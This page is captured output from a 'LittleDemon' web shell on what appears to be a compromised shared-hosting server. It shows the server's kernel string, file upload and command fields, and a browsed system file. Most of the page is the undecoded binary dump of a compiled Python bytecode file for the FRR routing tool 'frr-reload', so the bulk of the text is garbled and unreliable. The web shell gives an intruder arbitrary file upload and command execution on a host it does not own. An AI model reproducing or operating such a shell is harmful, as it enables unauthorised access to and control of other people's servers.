LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /lib/frr/__pycache__/
File Upload :
Command :
Current File : //lib/frr/__pycache__/frr-reload.cpython-39.opt-1.pyc

a

>�sg�R�@s4
dZddlmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZddlmZmZddlmZdd�Ze�e�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�Zdd�Zdd�ZGdd�de�Zdd�Z dd�Z!d�dd�Z"dd�Z#dd�Z$d d!�Z%d"d#�Z&d$d%�Z'd&d'�Z(d(d)�Z)d*d+�Z*ed,k�
r0ej+d-d.�Z,e,j-d/d0d1�e,j.dd2�Z/e/j-d3d4d5d6d7�e/j-d8d4d9d6d7�e,�.�Z0e0j-d:d4d;d6d7�e0j-d<d=d>d?d@�e,j-dAd4dBd6d7�e,j-dCdDdEdFddG�e,j-dHdId1�e,j-dJd4dKd6d7�e,j-dLdMdNdO�e,j-dPdQdRdO�e,j-dSdTdUdO�e,j-dVdWddO�e,j-dXdYdZdO�e,j-d[d4d\d]�e,�1�Z2e2j3�s~e2j4�r�ej5d^d_�e�6ej7d`e�8ej7��e�6ej9dae�8ej9��n<e2j:�r�ej;�<db��s�ej=dbdcdd�ej5ded^df�nedg��e�e�Ze2j>�re�?ej@�ne�?e2jA�B��e2j:�rle2j4�sle�Cej4�ZDeD�?ej7�eD�Ee�F��e�GeD�ej;�He2jI��s�e�Jdhe2jI�e�Kdi�ej;�Le2jI��s�e�Jdje2jI�e�Kdi�ej;�<e2jM��s�e�Jdke2jM�e�Kdi�ej;�<e2jN��rej;�He2jNdl��s(e�Jdme2jN�e�Kdi�e2jO�rZej;�<e2jO��sZe�Jdne2jO�e�Kdi�e2jP�r�e2jPdov�r�dpe2jPZQeReQ�e�JeQ�e�Kdi�ee2jNe2jMe2jOe2jS�ZTe2jS�r�e2jMdqe2jSdrZUn
e2jMdrZUdZVej;�HeU��r<eWeUds��<ZXeX�Y�D]"ZZeZ�[�ZZeZdtk�r�d6ZV�q�q�Wd�n1�s20Ye2j3�sfeV�sfe2jP�sfe�Jdu�e�Kdi�e�\dve]e2��eeT�Z^ze^�_e2jI�dZ`Wn:e�y�Zaz e�Jdw�bea��d6Z`WYdZa[an
dZa[a00e2j3�reeT�Zce2jd�r�ec�_e2jd�nec�ee2jP�e*e^ec�\ZfZgeg�r�e2jh�s,eRdx�eRdy�egD]d\ZiZZeZdzk�rF�q0e eieZd�Zje2jh�r�d{d|�ejD�Zjd}d|�ejD�Zjej�s��q0d~�kej�ZleRel��q0ef�
r e2jh�s�eRd�eRd��efD]V\ZiZZeZdzk�rΐq�e eieZd6�Zme2jh�r�d�d|�emD�Zmem�s��q�d~�kem�ZleRel��q��ne2j:�
r gZneT�o��r0e`�s:e�Kdi�e�>d�e^�p��gZqerd��D�]�ZseeT�Zcec�ee2jP�e�>d�esec�p��e*e^ec�\ZfZgesdk�r�efZqn
ef�teq�eg�r�esdk�r�egD]�\ZiZZeZdzk�rԐq�e eieZd�ZlelZugZvzeTd�gelev�Wn�e�y�e�\d�d��kel��eld��wd��Zxeyex�d�k�rje�Jd�d��keu��ev�r`e�Jevd�d6Z`Y�q�exdd��Zzd��kez�eld�<Yn0e�\d�d��kel���q��q�q�ef�rVgZnefD]V\ZiZZeZdzk�r̐q�esdik�r�eid�{d���r�q�d~�ke eieZd6��d~Zlen�|el��q�en�rVdZ�kd�d��erd��D��Z}e2j~d�e}ZIe�\d�eIeen�f�eWeId���*ZXenD]ZZeX�eZd~��	q`Wd�n1�	s�0YzeT��eI�Wn:e�	y�Z�z e��d�e�j2�d6Z`WYdZ�[�n
dZ�[�00e��eI��qVe]e2jMd��Z�e2j��
se2jP�
s e2jIe�k�
r eTd��e`�
s0e�Kdi�dS)�a
This program
- reads a frr configuration text file
- reads frr's current running configuration via "vtysh -c 'show running'"
- compares the two configs and determines what commands to execute to
  synchronize frr's running configuration with the configuation in the
  text file
�)�print_function�unicode_literalsN)�OrderedDict)�IPv6Address�
ip_network)�pformatcCst|���S�N)�iter�items)�d�r�/usr/lib/frr/frr-reload.py�	iteritems-src@seZdZdS)�VtyshExceptionN)�__name__�
__module__�__qualname__rrrr
r4src@sXeZdZddd�Zddd�Zddd�Zddd	�Zd
d�Zdd
�Zddd�Z	ddd�Z
dS)�VtyshNcCsh||_||_||_tj�|pdd�g|_|r<|j�d|g�|rP|j�d|g�|rd|j�d|g�dS)N��vtyshz--config_dir�--vty_socket�-N)�bindir�confdir�	pathspace�os�path�join�common_args�extend)�selfrrZsockdirrrrr
�__init__9szVtysh.__init__cCsLi}|dur||d<|dur$||d<|dur4||d<tj|j|fi|��S)N�stdin�stdout�stderr)�
subprocess�Popenr)r �argsr"r#r$�kwargsrrr
�_callEszVtysh._callcCs2t|t�rdd�|D�}nd|g}|�||||�S)NcSsg|]}d|fD]}|�qqS)�-cr)�.0�sub�itemrrr
�
<listcomp>Q�z#Vtysh._call_cmd.<locals>.<listcomp>r*)�
isinstance�listr))r �commandr"r#r$r'rrr
�	_call_cmdOs
zVtysh._call_cmdcCs\|j|tjd�}|��\}}|��dkrR|dur@|�|�d��td|j|f��|�d�S)z�
        Call a CLI command (e.g. "show running-config")

        Output text is automatically redirected, decoded and returned.
        Multiple commands may be passed as list.
        �r#rN�UTF-8z)vtysh returned status %d for command "%s")	r3r%�PIPE�communicate�wait�append�decoder�
returncode)r r2�stdouts�procr#r$rrr
�__call__Vs�zVtysh.__call__cCs&|d�}d|vr"t�d|�dSdS)z�
        Return False if no frr daemon is running or some other vtysh session is
        in 'configuration terminal' mode which will prevent us from making any
        configuration changes.
        �	configurez(VTY configuration is locked by other VTYzvtysh 'configure' returned
%s
FT)�log�error)r �outputrrr
�is_config_availablegs
zVtysh.is_config_availablecCs,|�d|g�}|��dkr(td|j��dS)N�-frz'vtysh (exec file) exited with status %d)r)r8rr;)r �filename�childrrr
�	exec_filevs
�zVtysh.exec_filecCs�|jdd|gtjtjtjd�}z|��\}}Wn0tjy^|��|��\}}td��Yn0|��dkr~td|j|f��|�	d�S)N�-mrD)r#r"r$zvtysh call timed out!rz+vtysh (mark file) exited with status %d:
%sr5)
r)r%r6r7ZTimeoutExpired�killrr8r;r:)r rEr"rFr#r$rrr
�	mark_file}s&���zVtysh.mark_filecCs�d}|r|d|7}|d7}|j|tjd�}|jgd�|jtjd�}|��|��\}}|��|jdkrxtd|j��|jdkr�td	|j��|�	d
�S)Nzshow running-configz %sz
 no-headerr4)rHrD�-)r"r#rz2vtysh (show running-config) exited with status %d:z1vtysh (mark running-config) exited with status %dr5)
r3r%r6r)r#r8r7r;rr:)r �daemon�cmdZshow_runZmarkr#r$rrr
�
mark_show_run�s,�
��
�zVtysh.mark_show_run)NNNN)NNN)NNN)N)N)N)rrrr!r)r3r>rCrGrJrNrrrr
r8s





rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Contexta
        A Context object represents a section of frr configuration such as:
    !
    interface swp3
     description swp3 -> r8's swp1
     ipv6 nd suppress-ra
     link-detect
    !

    or a single line context object such as this:

    ip forwarding

    cCs,||_||_t�|_|D]}d|j|<qdS)NT)�keys�linesr�dlines)r rPrQ�lignerrr
r!�s
zContext.__init__cCst|j�dt|j�S)Nz : )�strrPrQ�r rrr
�__str__�szContext.__str__cCs$|j�|�|D]}d|j|<qdS)z0
        Add lines to specified context
        TN)rQrrR)r rQrSrrr
�	add_lines�szContext.add_linesN)rrr�__doc__r!rVrWrrrr
rO�srOcCsDddg}|D]2}t�|d|�}|rd||�d���f}q@q|S)zD
    The es-id or es-sys-mac need to be converted to lower case
    z
evpn mh es-idzevpn mh es-sys-macz
 (?P<esi>\S*)z%s %sZesi)�re�match�group�lower)�lineZsub_strsZsub_str�objrrr
�get_normalized_es_id�sr_cCs&|�d�rt|�Sd|vr"t|�S|S)Nz
evpn mh eszipv6 add)�
startswithr_�get_normalized_ipv6_line)r]rrr
�get_normalized_mac_ip_line�s

rbc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�Configz�
    A frr configuration is stored in a Config object. A Config object
    contains a dictionary of Context objects where the Context keys
    ('router ospf' for example) are our dictionary key.
    cCsg|_t�|_||_dSr)rQr�contextsr)r rrrr
r!�szConfig.__init__cCs�t�d|�|j�|�}|�d�D]�}|��}d�|���}d|vrLt|�}|�d�s`|�d�r�d|vr�|�d�}|�	d�}||d||d	}|||d
�=d�|�}|j
�|�|j
�|�|j
�d�d}|j
�|�q"|��d
S)z�
        Read configuration from specified file and slurp it into internal memory
        The internal representation has been marked appropriately by passing it
        through vtysh with the -m parameter
        z"Loading Config object from file %s�
� �:�	ip route �ipv6 route z vrf �vrf���exit-vrf�endN)
r@�inforrJ�split�striprrbr`�indexrQr9�
load_contexts)r rEZfile_outputr]�newlineZ	vrf_indexZvrf_ctxrrr
�load_from_file�s0���


zConfig.load_from_filecCs\t�d�|j�|�}|�d�D].}|��}|dks |dks |sBq |j�|�q |��dS)z�
        Read running configuration and slurp it into internal memory
        The internal representation has been marked appropriately by passing it
        through vtysh with the -m parameter
        z-Loading Config object from vtysh show runningrezBuilding configuration...zCurrent configuration:N)	r@rorrNrprqrQr9rs)r rLZconfig_textr]rrr
�load_from_show_running,s
���zConfig.load_from_show_runningcCsd�|j�S)zA
        Return the lines read in from the configuration
        re)rrQrUrrr
�	get_linesDszConfig.get_linescCs(tt|j��D]\}}tt|��qdS)zL
        Return the parsed context as strings for display, log etc.
        N)�sortedrrd�printrT)r �_�ctxrrr
�get_contextsJszConfig.get_contextsc
	CsL|sdSt�d|d�}|rz|�d�}d|vrzz8t|dd�}d|�d	�t|j�|j|�d
�f|d<WntyxYn0t�d|d�}|�rP|�d�}d|vr�z$t|dd�}d
t|j�|jf}Wq�ty�|}Yq�0n|}|�d�}t�d|�}|�r(d|�d	�|�d
�|�d�|�d�f}d|�d	�|�d�|�d
�||f|d<|�r|d�	d��rg}	|D]�}
t�d|
�}|�r|�d	�}d|v�r�|d�	d��r�|d}z6t|dd�}dt|j�|j|�d�f}
|	�
|
�Wnt�y|	�
|
�Yn0n
|	�
|
��qn|	}|d�	d��sH|d�	d��r^d|dv�r^t�dd|d�|d<|�r�|d�	d��r�g}	|D]L}
|
�	d��s�|
�	d��r�d|
v�r�t�dd|
�}
|	�
|
�n
|	�
|
��q||	}|�rt|�|j
v�rtt|�|�}||j
t|�<n|j
t|�}|�|�n,t|�|j
v�rHtt|�g�}||j
t|�<dS)z>
        Save the provided key and lines as a context
        Nz*(ip|ipv6)\s+route\s+([A-Fa-f:.0-9/]+)(.*)$rrl�/F��strictz%s route %s/%s%srk�zA(ip|ipv6)\s+prefix-list(.*)(permit|deny)\s+([A-Fa-f:.0-9/]+)(.*)$��%s/%s�z(.*)le\s+(\d+)\s+ge\s+(\d+)(.*)z%sge %s le %s%sz%s prefix-list%s%s %s%s�
router bgpz network\s+([A-Fa-f:.0-9/]+)(.*)$z/8znetwork %s/%s %s�ip route�
ipv6 routeZnull0z\s+null0(\s*$)z Null0�vrf rhri)rYrZr[rrT�network_address�	prefixlen�
ValueError�searchr`r9r,�tuplerdrOrW)
r �keyrQZ	re_key_rt�addrZnewaddrZnetwork_addrZlegestrZre_lege�newlinesr]Zre_netr{rrr
�
save_contextsQs�
��
�

��

���
�
zConfig.save_contextsc	Cs6diiiiiiiid�iiiiiiiiddiiidiidiiidiiiidiiiiid	�d
�ddiiid
�iiiiiid�id�}g}|g}g}|jD�]~}|s�q�|�d�s�|�d�r�q�|�d��rt|�dkr�q�|�||�t�d||�|��|��g}q�|�d��rNt|�dkr�|�||�t�d||�|��|��g}�qq�d}|d��D]l\}}|�|��r^|dk�r�d|v�r��q�|�||�d}|�|�|�|�g}t�d||��q̐q^|�r�q�t|�dk�r�t�d|�|�|gg�q�t�d||�|�|�q�t|�dk�r2|�||�dS)a�
        Parse the configuration and create contexts for each appropriate block

        The end of a context is flagged via the 'end' keyword:

        !
        interface swp52
         ipv6 nd suppress-ra
         link-detect
        !
        end
        router bgp 10
         bgp router-id 10.0.0.1
         bgp log-neighbor-changes
         no bgp default ipv4-unicast
         neighbor EBGP peer-group
         neighbor EBGP advertisement-interval 1
         neighbor EBGP timers connect 10
         neighbor 2001:40:1:4::6 remote-as 40
         neighbor 2001:40:1:8::a remote-as 40
        !
        end
         address-family ipv6
         neighbor IBGPv6 activate
         neighbor 2001:10::2 peer-group IBGPv6
         neighbor 2001:10::3 peer-group IBGPv6
         exit-address-family
        !
        end
        router ospf
         ospf router-id 10.0.0.1
         log-adjacency-changes detail
         timers throttle spf 0 50 5000
        !
        end

        The code assumes that its working on the output from the "vtysh -m"
        command. That provides the appropriate markers to signify end of
        a context. This routine uses that to build the contexts for the
        config.

        There are single line contexts such as "log file /media/node/zebra.log"
        and multi-line contexts such as "router ospf" and subcontexts
        within a context such as "address-family" within "router bgp"
        In each of these cases, the first line of the context becomes the
        key of the context. So "router bgp 10" is the key for the non-address
        family part of bgp, "router bgp 10, address-family ipv6 unicast" is
        the key for the subcontext and so on.

        This dictionary contains a tree of all commands that we know start a
        new multi-line context. All other commands are treated either as
        commands inside a multi-line context or as single-line contexts. This
        dictionary should be updated whenever a new node is added to FRR.
        �vni )�address-family zvnc defaultszvnc nve-group z
vnc l2-group zvrf-policy zbmp targets zsegment-routing srv6r��
interface zmember pseudowire zkey zlink-params�candidate-path )�pcczpce zpce-config )z
segment-list �policy �pcepZlocatorszlocator )ztraffic-engZsrv6)zpeer zprofile )zrouter bgp z
router ripzrouter ripngzrouter isis zrouter openfabric zrouter ospfzrouter ospf6z
router eigrp zrouter babel�mpls ldpzl2vpn z
key chain r�r�zpseudowire �segment-routingznexthop-group z
route-map zpbr-map ZrpkiZbfd�line vty�!�#�exitrzLINE %-50s: exit context %-50srnF���ZexplicitTzLINE %-50s: enter context %-50szLINE %-50s: single-line contextz(LINE %-50s: add to current context %-50sN)	rQr`�lenr�r@�debug�popr
r9)	r Zctx_keywords�ctx_keysZcur_ctx_keywordsZ
cur_ctx_linesr]Znew_ctx�k�vrrr
rs�s�:��

�
��+


zConfig.load_contextsN)rrrrXr!rurvrwr|r�rsrrrr
rc�s2{rccCsHg}|r�t|�D]\}}|�d||�q|��}t|�d}|r~|�d�rj|�d||dd�f�q�|�d||f�n|�||�n�t|dd��D]\}}|�dd||f�q�|�r"|d�d�r�|�ddt|�d|ddd�f�n"|�ddt|�d|df�n"|�ddt|�d|df�|S)	z;
    Return the command as it would appear in frr.conf
    rf�no z%s%sr�Nz%sno %sr�rk)�	enumerater9�lstripr�r`)r�r]�deleterM�iZctx_key�indentrrr
�lines_to_config�s&
,$"r�c	Cs�d}|�d�}|D]�}d|vr�d}d|vrbz$t|dd�}dt|j�|jf}Wnty`Yn0|s�zd	t|�}Wq�ty�|}Yq�0n|}|d|}q|��S)
z�
    Return a normalized IPv6 line as produced by frr,
    with all letters in lower case and trailing and leading
    zeros removed, and only the network portion present if
    the IPv6 word is a network
    rrfrgNr}Fr~r�z%s)rprrTr�r�r�rrq)r]Z	norm_line�wordsZwordZ	norm_wordZv6wordrrr
ra�s,
�
raTcCs>|D]4\}}||kr|r(||kr8dSq|�|�rdSqdS)NTF�r`)rQZtarget_ctx_keysZtarget_lineZexact_matchr�r]rrr
�
line_exist�s
r�cCs�d}d}|D]j\}}|dkrB|d|krB|f}|�||df�d}|d�d�rn|rn|dkrjd}|d}nd}|d7}q|D]*\}}|dkr|t|||�r||�||f�q|||fS)NFrTrmrjrk)�insertr`r��remove)�lines_to_add�lines_to_delZadd_exit_vrfrrr�r]Z
prior_ctx_keyZ
insert_keyrrr
�check_for_exit_vrf�s&

r�cCs�d}d}|D]L\}}|d�d�r6|s6d|dvr6d}|d�d�r|sd|dvrd}q|r�|r�|D]B\}}|d�d�rf|sfd|dvrf|�||f�|�||f�qfdS)NFrr�rjT)r`r�r9)r�Zbgp_defult_instZbgp_vrf_instr�r]rrr
�bgp_delete_inst_move_line�s,��
���
�r�cCsNt�}d}|D]�\}}|d�d�r|r|�d�r|d|vrLt�||d<t�d|�}|r|�d�||dvrt�dd�||d|�d�<d}q|dur�dS|D]�\}}|d�d�r�|r�|�d�r�|d|vr�||dD]�}d	|}t�||�}|�rd||d|d
<d|}	t�|	|�}
|
r�|
�d�||d|vr�||d|d�|
�d��q�q�g}|D]�\}}|d�d��rr|�rr|�d��rrd
}t�||�}
|
�rr|d|v�rr||dD]Z}||d|d
dk�r�||d|dD]$}|
�d�|k�r�|�||f��q��q̐qr|D]\}}|�||f��q0dS)NFrr��	neighbor �neighbor (\S+) peer-group$rk)�nbr�remoteasTzneighbor %s remote-as (\S+)r�zneighbor (\S+) peer-group %s$r�zneighbor (\S+) remote-as.*)	�dictr`rYrZr[r1r�r9r�)r�Zpg_dictZfound_pg_cmdr�r]�re_pg�pg_keyZpg_rmtasZre_pg_rmtas�nb_pg�	re_nbr_pgZlines_to_del_from_addZ	nbr_rmtasZre_nbr_rmtas�pgr�rrr
�bgp_delete_nbr_remote_as_linesr���������$���r�c	Cs�g}|D]x\}}|d�d�r|r|�d�r|d|vr||dD]:}t�d|�}d|}|sDt�||�}|rD|�||f�qDq|D]\}}|�||f�q�dS)Nrr�r��!neighbor (\S+) .*peer-group (\S+)�neighbor %s .*)r`rYr�r9r�)	r��del_nbr_dict�lines_to_del_to_delr�r]r�r��nb_exp�re_nbrrr
�bgp_remove_neighbor_cfgrs$���r�cCsBt|�t�}t�}g}g}d}|D�]�\}}|d�d�r$|r$|�d�r$d}	t�|	|�}
|
rl|�||f�t�d|�}|r�|d|vr�t�||d<|�d�||dvr�||d�|�d��|d|vr�t�||d<t�d|�}|r$|�d�||dvr$t�||d|�d�<d	}q$|dk�rLt	|�|�rDt
||�||fS|D]&\}}|�||f�|�||f��qP|D]�\}}|d�d��r||�r||�d��r||d|v�r|||dD]X}
d
|
}t�||�}|�r�|�d�||d|
v�r�||d|
�|�d���q��q|g}|D]�\}}|d�d��r&|�r&|�d��r&|d|v�r&||dD]x}||d|D]8}d|}t�||�}|�r~||v�r~|�||f��q~d|}t�||�}|�rj|�||f��qj�q&|D]\}}|�||f��q�|D]&\}}|�||f�|�||f��q
t	|�||fS)
NFrr�r�z neighbor (\S+) .*remote-as (\S+)r�rkr�Tzneighbor (\S+) .*peer-group %s$r�zneighbor %s peer-group$)r�r�r`rYr�r9r1r[rZr�r�r�)r�r�Zdel_dictr�r�Zlines_to_del_to_appZfound_pg_del_cmdr�r]Znb_remoteasZre_nb_remoteasr�r�r�r�r�r�r�r�Zpg_exprrr
�delete_move_lines�s�0���

�����$���r�c=	Cs	g}g}|D�]x\}}d}|rdd|vrd|D]6\}}|d|dkr*|r*d|vr*|�||f�qq*q|d�d��r�|�r�|�d��rVt�d|�}	t�d|�}
|	s�|
�r�d}d}|	r�|	�d�}
|	�d	�}d
|
}n |
r�|
�d�}
|
�d	�}d|
}d|
|f}t|||�}t|||�}tt|��}|�szt|�}|�d
�t|�}t|||�}|�szt|�}|�d�t|�}t|||�}|�r�|�r�d}|�||f�|�||f�|�||f�t�d|�}|�r4|�d�}d|}|d}|D]N\}}|d�d��r�t�||�}|�r�t|||d�}|�r�|�||f��q�t�d|�}|�rzd}|�d�}|�d	�}|�d�}d||f}d}|D]�\}}|d�d��r||�r�t�||�} | �r|| �d�}!|!|k�rĐq|t|�dk�r�|}d}n<t|�dk�r|t|�dk�r||d|dk�r||�||f��q||dk�rz|D]N\}"}#|"d�d��r*t|"�dk�r*|"dd
k�r*||#k�r*|�|"|f��q*t�d|�}$t�d|�}%|$�s�|%�rVd}d}&|$�r�|$�d�}
|$�d	�}'d
|
}n"|%�r�|%�d�}
|%�d	�}'d|
}d|
|'f}&t|||�}t|||&�}(tt|��}|�rV|(�rVd}|�||f�|�||f�|�||&f�d|v�r�t�d|�})d}*t|||*�}+|)�r�|+�r�d}|�||f�|�||*f�|�d��r�t||dd�},|,�r�|�||f�t�d|d�}-|-�r@|-�d�}.|D]D}/|/dd�d|.��r�|�d |.fdf�|�|/ddf��q�t�d!|d�}0|0�rd}1|0�d�|0�d	�|0�d�|0�d"�|0�d#�}2|D]:}/|/dd|2k�r�|�|df�|�|2fdf�d}1�q�|1du�rd$|df}3|�|3df�|�|df�t�d%|d�}4|4�r�d}1|4�d�|4�d	�|4�d�|4�d&�|4�d#�|4�d'�}2|D]:}/|/dd|2k�rZ|�|df�|�|2fdf�d}1�qZ|1du�r�d$|df}3|�|3df�|�|df�t|�dk�r�|d�d��r�|dd(k�r�|d	�d)��r�|du�rt�d*|�nd}5|5�r�|5�d��	�}6|}7d+|6}8d,|6}9t|||8�}:t|||9�};|:�r�|;�r�|�||7f�|�||8f�|�||9f�|d�d-��r�|�r�|�d.��s�|�d/��r�d$|}3|�||3f�|�||f�|st|||�}<|<�r|�||f�|�||f�q|d�d�rt|�dkr|dd
krt|�dd0�}t|�}t|||�}<|<r|�||f�|�||f�q|D]2\}}z|�
||f�Wnt�y�Yn0�q�|D]2\}}z|�
||f�Wnt�y�Yn0�q�||fS)1NFzsegment-routing global-blockrr�r�z)neighbor (\S+) interface peer-group (\S+)z0neighbor (\S+) interface v6only peer-group (\S+)rkrlzneighbor %s interfacezneighbor %s interface v6onlyzneighbor %s peer-group %szaddress-family ipv4 unicastzaddress-family ipv6 unicastTz$neighbor (\S+) bfd (\S+) (\S+) (\S+)zneighbor %sz bfd (\S+) (\S+) (\S+)z"neighbor(.*)route-map(.*)(in|out)$r�zneighbor%sroute-map(.*)%sZEMPTYz(neighbor (\S+) interface remote-as (\S+)z/neighbor (\S+) interface v6only remote-as (\S+)zneighbor %s remote-as %szmultipath-relaxz,^bgp\s+bestpath\s+as-path\s+multipath-relax$z.bgp bestpath as-path multipath-relax no-as-setz	table-mapz^ip\s+import-table\s+(\d+)$zip import-table %s distancezip import-table %szO^(ip |ipv6 |)(prefix-list|access-list)(\s+\S+\s+)(seq \d+\s+)(permit|deny)(.*)$r��r�zo^(bgp )(community-list|large-community-list|extcommunity-list)(\s+\S+\s+)(\S+\s+)(seq \d+\s+)(permit|deny)(.*)$r���address-family l2vpn evpn�vniz^route-target import (.*)$zroute-target export %szroute-target both %sr�r�r�r�)r9r`rYr�r[r�r�r1r�rqr�r�)=r�r�Zlines_to_add_to_delr�r�r]ZdeletedZadd_keyZadd_lineZre_swpx_int_peergroupZre_swpx_int_v6only_peergroupZswpx_interfaceZswpx_peergroupZswpxZ	peergroupZfound_add_swpx_interfaceZfound_add_swpx_peergroupZtmp_ctx_keysZre_nbr_bfd_timersr�Zbfd_nbrZbfd_search_stringZre_add_nbr_bfd_timersZfound_add_bfd_nbrZ	re_nbr_rmZadjust_for_bgp_nodeZ
neighbor_nameZrm_name_del�dirr�Z	save_lineZctx_keys_alZrm_matchZrm_name_addZctx_keys_dlZdl_lineZre_swpx_int_remoteasZre_swpx_int_v6only_remoteasZ
swpx_remoteasr�Zfound_add_swpx_remoteasZre_asrelax_newZold_asrelax_cmdZfound_asrelax_oldZfound_table_mapZre_importtblZ	table_numr{Z
re_acl_pfxlst�foundZtmpline�add_cmdZre_bgp_listsZre_route_targetZrtZroute_target_import_lineZroute_target_export_lineZroute_target_both_lineZfound_route_target_export_lineZfound_route_target_both_lineZfound_add_linerrr
�ignore_delete_re_add_lines=s0�����





��
�
��
��






�
��
�
�
�
��




��	
�
�������
	�������

��
��	����
�
�
�

r�csng}|D]@\�}t�fdd�dD��rt�d�df�|��|f�q|D]\�}|��|f�qN||fS)zj
    There are certain commands that cannot be removed.  Remove
    those commands from lines_to_del.
    csg|]}�d�|��qS)rr��r+�x�r�rr
r.�s�z/ignore_unconfigurable_lines.<locals>.<listcomp>)Zagentxzfrr versionzfrr defaults�username�passwordr�zservice integrated-vtysh-configz"%s" cannot be removedr�)�anyr@ror9r�)r�r�r�r]rr�r
�ignore_unconfigurable_lines�s
��r�cCsg}g}g}g}g}g}g}d}	t|j�D�]�\}
}|
|jvr*d|
dvrjt|
�dkrjd}	|�|
df�q*|
d�d�s�|
d�d�r�|jD]}|�|
|f�q�q*d|
dvr�t|
�dkr�|	r�q*q*d|
dv�rt|
�d	k�r|
d�d
��r|
d	�d��r|�|
df�q*d|
dv�rXt|
�dk�rX|
d�d��rX|jD]}|�|
|f��q@q*|
d�d
��sx|
d�d��r�d|
df}
|�|
df�q*t|
�d	k�r�|
d�d��r�|
d�d��r�|
dd	�df|v�r�q*q*t|
�dk�r&|
d�d��r&|
d�d��r&|
dd�df|v�r&q*q*|
d�d��rHt|
�dk�rHq*q*t|
�dk�rz|
d�d��rz|
d	�d��rzq*q*t|
�dk�r�|
d�d��r�|
d	�d��r�|�|
df�q*t|
�dk�r�|
d�d��r�|
d	�d��r�|�|
df�q*t|
�dk�r4|
d�d��r4|
d�d��r4|�|
df�q*t|
�dk�rr|
d�d��rr|
d�d��rr|�|
df�q*|
�r�tdd�|
D���s�|�|
df�q*|
�r�tdd�|
D���s�|�|
df�q*|jD]}|�|
|f��q�q*t|�dk�r�|�|�t|�dk�r|�|�t|�dk�r,|�|�t|�dk�rD|�|�t|j�D]�\}}||jv�rN|j|}|jD]j}||jv�rrt|�dk�r�|d�d��r�|d	�d��r�|�d��r�|�||f�n|�||f��qr|jD] }||jv�r�|�||f��q�qNt|j�D]�\}}||jv�rt|�dk�r�|d�d��r�|d�d ��r�|�|df�|jD]}|�||f��qjn*|�|df�|jD]}|�||f��q��qt|�dk�r�|�|�t	||�\}}t
||�\}}t||�\}}t||�\}}||fS)!z>
    Create a context diff for the two specified contexts
    Fr�rrkTNZ	interfacerjrlr�r��address-familyr�r�r�r�Zl2vpnzmember pseudowirer�r�r�zsegment-listZpolicyr�z
pce-configr�css|]}d|vVqdS)r�Nr�r+r�rrr
�	<genexpr>�sz*compare_context_objects.<locals>.<genexpr>css|]}d|vVqdS)r�Nrr�rrr
r��r/r�r�zcandidate-path)
rrdr�r9r`rQr�rrRr�r�r�r�)�newconf�runningr�r�Zpollist_to_delZseglist_to_delZpceconf_to_delZpcclist_to_delZcandidates_to_addZdelete_bgpdZrunning_ctx_keysZrunning_ctxr]r�Znewconf_ctx_keysZnewconf_ctxrrr
�compare_context_objects
sP
��

�
��
�
���
�
��
��
����
�����
�
���
���
���
���
����








����

���


��r��__main__z%Dynamically apply diff in frr configs)�descriptionz--inputz7Read running config from file instead of "show running")�help)�requiredz--reload�
store_truezApply the deltasF)�actionr��defaultz--testzShow the deltasz--debugz-Enable debugs (synonym for --log-level=debug)z--log-levelz	Log levelro)ZcriticalrA�warningror�)r�r��choicesz--stdoutz
Log to STDOUTz--pathspacer�NAMEzReload specified path/namespace)�metavarr�r�rEzLocation of new frr config filez--overwritez-Overwrite frr.conf with running config outputz--bindirzpath to the vtysh executablez/usr/bin)r�r�z	--confdirzpath to the daemon config filesz/etc/frrz--rundirzpath for the temp config filez/var/run/frrrz4socket to be used by vtysh to connect to the daemonsz--daemonz+daemon for which want to replace the configrz--test-resetz9Used by topotest to not delete debug or log file commands)r�r�z'%(asctime)s %(levelname)5s: %(message)s)�formatz
  %sz%sz
/var/log/frr/i�)�modez/var/log/frr/frr-reload.log)rEr�zMust specify --reload or --testzFilename %s does not existrkzFilename %s is an empty filezConfdir %s is not a valid pathz/vtyshz&Bindir %s is not a valid path to vtyshz!vty_socket %s is not a valid path)ZzebraZbgpdZfabricdZisisdZbabeldZospf6dZospfdZpbrdZpimdZpim6dZripdZripngdZsharpdZstaticdZvrrpdZldpdZnhrpdZpathdZbfddZeigrpdz9Daemon %s is not a valid option for 'show running-config'r}z/vtysh.conf�rz"no service integrated-vtysh-configz^'service integrated-vtysh-config' is not configured, this is required for 'service frr reload'zCalled via "%s"z-vtysh failed to process new configuration: {}z
Lines To Deletez===============r�cCsg|]}|���qSr�rqr�rrr
r.�r/r.cCs g|]}d|vrd|vr|�qS)r�zlog filerr�rrr
r.�srez
Lines To Addz============cCsg|]}|��r|���qSrr�r�rrr
r.�r/zNew Frr Config
%srlz Running Frr Config (Pass #%d)
%sr?zFailed to execute %srfr�z%"%s" we failed to remove this commandz -- z
Executed "%s"r�ccs$|]}t���tjtj�VqdSr)�randomZSystemRandom�choice�stringZascii_uppercase�digits)r+rzrrr
r��s�
�r�r�z/reload-%s.txtz
%s content
%s�wzfrr-reload.py failed due to
%sz	/frr.conf�write)T)�rXZ
__future__rr�argparseZloggingrZos.pathr�rYr�r%�sys�collectionsr�	ipaddressrrZpprintrrZ	getLoggerrr@�	Exceptionr�objectrrOr_rbrcr�rar�r�r�r�r�r�r�r�r��ArgumentParser�parser�add_argument�add_mutually_exclusive_groupr[Zlevel_group�
parse_argsr'�testr#ZbasicConfigZaddLevelNameZERRORZgetLevelNameZWARNING�reloadr�isdir�makedirsr�ZsetLevel�DEBUGZ	log_level�upperZ
StreamHandlerZstdout_hdlrZsetFormatterZ	FormatterZ
addHandler�isfilerErAr��getsizerrZ
vty_socketrL�msgryrrZvtysh_filenameZservice_integrated_vtysh_config�openZfh�	readlinesr]rqrorTr�ruZ	reload_ok�ver�r��inputrvr�r�Z
test_resetr�ZnolinesrrMrQZlines_to_configurerCrwZlines_to_add_first_pass�ranger�rZoriginal_cmdr<rpZlast_argr�Znew_last_argr`r9Z
random_stringZrundirr�rG�er��unlink�targetZ	overwriterrrr
�<module>s2	
v)

,!
  T00#n
������������������




$






*�

�



%


�

�2

LittleDemon - FACEBOOK
[ KELUAR ]